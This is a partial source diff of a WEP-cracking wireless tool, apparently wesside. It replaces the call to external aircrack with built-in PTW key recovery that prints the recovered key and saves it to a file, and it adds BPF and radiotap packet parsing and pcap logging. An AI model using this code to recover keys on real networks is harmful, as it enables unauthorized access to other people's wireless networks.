- if (rd != bpfh->bh_caplen) {
-#if 0
- // XXX
- printf("Error: rd=%d caplen=%d\n", rd, bpfh->bh_caplen);
- hexdump(buf, rd+bpfh->bh_hdrlen);
-// exit(1);
- return;
-#endif
- // XXX what's going on
- assert( rd > bpfh->bh_caplen);
- rd = bpfh->bh_caplen;
- }
-
- // RADIOTAP
- rth = (struct ieee80211_radiotap_header*)
- ((unsigned char*) bpfh + bpfh->bh_hdrlen);
- /* check if FCS/CRC is included in packet */
- present = le32toh(rth->it_present);
- if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
- if (present & BIT(IEEE80211_RADIOTAP_TSFT))
- rflags = ((const uint8_t *)rth)[8];
- else
- rflags = ((const uint8_t *)rth)[0];
- } else
- rflags = 0;
- /* 802.11 CRC */
- if (rflags & IEEE80211_RADIOTAP_F_FCS)
- rd -= IEEE80211_CRC_LEN;
-
- // 802.11
- wh = (struct ieee80211_frame*)
- ((unsigned char*)rth + rth->it_len);
- rd -= rth->it_len;
if (rd < 1) {
time_print("rd=%d\n", rd);
@@ -1606,7 +1677,6 @@ void anal(unsigned char* buf, int rd, int tx) { // yze
stuff_for_net(wh, rd);
}
}
-#undef BIT
}
void do_arp(unsigned char* buf, unsigned short op,
@@ -1990,13 +2060,15 @@ void can_write(int tx) {
char* ptr;
strcpy(arp_ip, netip);
- ptr = strchr(arp_ip, '.');
- assert(ptr);
- ptr = strchr(++ptr, '.');
- assert(ptr);
- ptr = strchr(++ptr, '.');
- assert(ptr);
- strcpy(++ptr, "1");
+ if (!netip_arg) {
+ ptr = strchr(arp_ip, '.');
+ assert(ptr);
+ ptr = strchr(++ptr, '.');
+ assert(ptr);
+ ptr = strchr(++ptr, '.');
+ assert(ptr);
+ strcpy(++ptr, "1");
+ }
if (gettimeofday(&arpsend, NULL) == -1)
err(1, "gettimeofday()");
@@ -2030,6 +2102,51 @@ void can_write(int tx) {
}
}
+void save_key(unsigned char *key, int len)
+{
+ char tmp[16];
+ char k[32];
+ int fd;
+ int rd;
+
+ k[0] = 0;
+ while (len--) {
+ sprintf(tmp, "%.2X", *key++);
+ strcat(k, tmp);
+ if (len)
+ strcat(k, ":");
+ }
+
+ fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
+ if (fd == -1)
+ err(1, "open()");
+
+ printf("\nKey: %s\n", k);
+ rd = write(fd, k, strlen(k));
+ if (rd == -1)
+ err(1, "write()");
+ if (rd != strlen(k))
+ errx(1, "write %d/%d\n", rd, strlen(k));
+ close(fd);
+}
+
+#define KEYLIMIT (1000000)
+int do_crack(void)
+{
+ unsigned char key[PTW_KEYHSBYTES];
+
+ if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
+ save_key(key, 13);
+ return 1;
+ }
+ if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
+ save_key(key, 5);
+ return 1;
+ }
+
+ return 0;
+}
+
void try_crack() {
if (crack_pid) {
printf("\n");
@@ -2049,35 +2166,8 @@ void try_crack() {
// child
if (crack_pid == 0) {
- char bitz[16];
- char* args[] = { "aircrack", "wep.log", NULL };
- char* argb[] = { "aircrack", "-n", bitz, "wep.log", NULL };
- char* envp[] = { NULL };
- char **arg;
-
-#if 1
- if (setsid() == -1)
- err(1, "setsid");
-#endif
-
- close (1);
- close (2);
-
- if (bits > 0) {
- snprintf(bitz, sizeof(bitz)-1, "%d", bits);
- arg = argb;
- }
- else
- arg = args;
-
- /* NB: try local copy first; then installed dir */
- if (execve(CRACK_LOCAL_CMD, arg, envp) == -1) {
- if (errno != ENOENT)
- err(1, "execve(%s)", CRACK_LOCAL_CMD);
- if (execve(CRACK_INSTALL_CMD, arg, envp) == -1)
- err(1, "execve(%s)", CRACK_INSTALL_CMD);
- }
-
+ if (!do_crack())
+ printf("\nCrack unsuccessful\n");
exit(1);
}
@@ -2154,32 +2244,6 @@ void open_tap() {
time_print("Opened tap device: %s\n", tapdev);
}
-void set_tap_mac(unsigned char* mac) {
- int s;
- struct ifreq ifr;
-
- s = socket(PF_INET, SOCK_DGRAM, 0);
- if (s == -1) {
- perror("socket()");
- exit(1);
- }
-
- memset(&ifr, 0, sizeof(ifr));
- strcpy(ifr.ifr_name, tapdev);
-
- ifr.ifr_addr.sa_family = AF_LINK;
- ifr.ifr_addr.sa_len = 6;
- memcpy(ifr.ifr_addr.sa_data, mac, 6);
-
- if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
- perror("ioctl(SIOCSIFLLADDR)");
- exit(1);
- }
-
- close(s);
- time_print("Set tap MAC to: %s\n", mac2str(mac));
-}
-
void read_tap() {
unsigned char buf[4096];
struct ether_header* eh;
@@ -2258,6 +2322,95 @@ int elapsedd(struct timeval *past, struct timeval *now)
return el;
}
+static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
+{
+#define BIT(n) (1<<(n))
+ struct bpf_hdr *bpfh;
+ struct ieee80211_radiotap_header *rth;
+ uint32_t present;
+ uint8_t rflags;
+ void *ptr;
+ static int nocrc = 0;
+
+ assert(*totlen);
+
+ /* bpf hdr */
+ bpfh = (struct bpf_hdr*) (*data);
+ assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
+ *totlen -= bpfh->bh_hdrlen;
+
+ /* check if more packets */
+ if ((int)bpfh->bh_caplen < *totlen) {
+ int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
+ int offset = BPF_WORDALIGN(tot);
+
+ *data = (char*)bpfh + offset;
+ *totlen -= offset - tot; /* take into account align bytes */
+ } else if ((int)bpfh->bh_caplen > *totlen)
+ abort();
+
+ *plen = bpfh->bh_caplen;
+ *totlen -= bpfh->bh_caplen;
+ assert(*totlen >= 0);
+
+ /* radiotap */
+ rth = (struct ieee80211_radiotap_header*)
+ ((char*)bpfh + bpfh->bh_hdrlen);
+ /* XXX cache; drivers won't change this per-packet */
+ /* check if FCS/CRC is included in packet */
+ present = le32toh(rth->it_present);
+ if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
+ if (present & BIT(IEEE80211_RADIOTAP_TSFT))
+ rflags = ((const uint8_t *)rth)[8];
+ else
+ rflags = ((const uint8_t *)rth)[0];
+ } else
+ rflags = 0;
+ *plen -= rth->it_len;
+ assert(*plen > 0);
+
+ /* 802.11 CRC */
+ if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
+ *plen -= IEEE80211_CRC_LEN;
+ nocrc = 1;
+ }
+
+ ptr = (char*)rth + rth->it_len;
+
+ return ptr;
+#undef BIT
+}
+
+static int read_packet(int fd, unsigned char *dst, int len)
+{
+ static unsigned char buf[4096];
+ static int totlen = 0;
+ static unsigned char *next = buf;
+ unsigned char *pkt;
+ int plen;
+
+ assert(len > 0);
+
+ /* need to read more */
+ if (totlen == 0) {
+ totlen = read(fd, buf, sizeof(buf));
+ if (totlen == -1) {
+ totlen = 0;
+ return -1;
+ }
+ next = buf;
+ }
+
+ /* read 802.11 packet */
+ pkt = get_80211(&next, &totlen, &plen);
+ if (plen > len)
+ plen = len;
+ assert(plen > 0);
+ memcpy(dst, pkt, plen);
+
+ return plen;
+}
+
void own(int wifd) {
unsigned char buf[4096];
int rd;
@@ -2275,8 +2428,23 @@ void own(int wifd) {
weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
if (weplog.fd == -1) {
+ struct pcap_file_header pfh;
+
+ memset(&pfh, 0, sizeof(pfh));
+ pfh.magic = TCPDUMP_MAGIC;
+ pfh.version_major = PCAP_VERSION_MAJOR;
+ pfh.version_minor = PCAP_VERSION_MINOR;
+ pfh.thiszone = 0;
+ pfh.sigfigs = 0;
+ pfh.snaplen = 65535;
+ pfh.linktype = LINKTYPE_IEEE802_11;
+
weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+ if (weplog.fd != -1) {
+ if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
+ err(1, "write()");
+ }
}
else {
time_print("WARNING: Appending in %s\n", WEP_FILE);
@@ -2314,7 +2482,8 @@ void own(int wifd) {
close(fd);
open_tap();
- set_tap_mac(mymac);
+ set_if_mac(mymac, tapdev);
+ time_print("Set tap MAC to: %s\n", mac2str(mymac));
if (tapfd > wifd)
largest = tapfd;
@@ -2444,7 +2613,7 @@ void own(int wifd) {
if (rd != 0) {
// wifi
if (FD_ISSET(wifd, &rfd)) {
- rd = read(wifd, buf, sizeof(buf));
+ rd = read_packet(wifd, buf, sizeof(buf));
if (rd == 0)
return;
if (rd == -1) {
@@ -2525,6 +2694,10 @@ void start(char *dev) {
fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
+ ptw = PTW_newattackstate();
+ if (!ptw)
+ err(1, "PTW_newattackstate()");
+
own(fd);
#if 0
@@ -2621,6 +2794,7 @@ int main(int argc, char *argv[]) {
case 'n':
netip = optarg;
+ netip_arg = 1;
break;
case 'r':
OpenPOWER on IntegriCloud